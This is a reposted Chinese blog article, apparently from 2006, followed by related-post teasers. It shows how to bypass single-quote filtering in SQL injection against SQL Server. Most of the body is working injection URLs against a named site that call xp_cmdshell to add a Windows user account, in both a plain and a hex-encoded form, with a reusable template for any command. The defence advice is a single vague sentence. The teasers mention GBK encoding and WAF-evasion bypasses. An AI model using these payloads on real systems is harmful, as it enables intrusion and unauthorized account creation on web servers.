饶过'(单引号)限制继续射入

转载 2006年06月26日 11:59:00
  我想不少人都看过一些关于SQL Injection针对SQL Server攻击的文章,都是因为变量过滤不足甚至没有过滤而构造畸形SQL语句注入的,包括我写的那篇《SQL Injection的实现与应用》也是这样的例子,因为没有碰到任何的过滤,所以使我们相当轻松就注入成功了,如下:

http://www.ilikeplmm.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--


  这往往给大家造成误解,认为只要变量过滤了'就可以防止SQL Injection攻击,这种意识为大量程序可以注入埋下祸根,其实仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:

http://www.ilikeplmm.com/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--


  是不是跟上面的那句有很大区别?可是效果完全是一样的。其实这些都是SQL语句。

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400


  这句是“net user angel pass /add”的16进制格式。了解SQL的朋友就容易明白,先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:

declare @a sysname
select @a=<command>
exec master.dbo.xp_cmdshell @a


解决办法:

  过滤变量,限制只允许输入特定字符。比如对于数字类型的变量就限制只能输入数字类型的数据。具体就不说了。这完全是程序作者自由发挥了。

利用GBK双字节编码突破PHP单引号转义限制进行SQL注入

今天看了黑防2009精华本下册《双字节编码:PHP的隐形杀手》一文,深受启发。 当php.ini中magic_quotes_gpc被设置为on时,提交的参数会被转义,例如,单引号会被转义成了'。一...
  • u011721501
  • u011721501
  • 2014年04月11日 23:00
  • 1537

SQL注入绕过PHP单引号字符转义原理及预防方法

PHP测试代码如下 /* 注入实验:start */ $id = $_GET['id']; //建立连接 $conn = false; $conn = mysql_connect("localhost...
  • mydriverc2
  • mydriverc2
  • 2015年01月05日 13:56
  • 6346

深入理解SQL注入绕过WAF和过滤机制

知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示...
  • whatday
  • whatday
  • 2017年03月13日 09:14
  • 1703

精彩编程与编程技巧-如何在表中保存单引号?...

  • 2009年10月09日 22:19
  • 982B
  • 下载

php单引号和双引号的区别

  • 2012年07月13日 19:14
  • 10KB
  • 下载

linux系统中单引号和双引号的区别

  • 2010年04月14日 16:32
  • 6KB
  • 下载

PHP当中单引号和双引号的区别

  • 2012年08月06日 17:27
  • 23KB
  • 下载

asp单引号双引号.doc

  • 2012年03月27日 15:24
  • 32KB
  • 下载

string字符串自动格式化单引号分隔工具

  • 2017年05月11日 10:10
  • 15KB
  • 下载

精彩编程与编程技巧-如何在資料庫中存入單引號?...

  • 2009年10月10日 19:28
  • 1KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:饶过'(单引号)限制继续射入
举报原因:
原因补充:

(最多只允许输入30个字)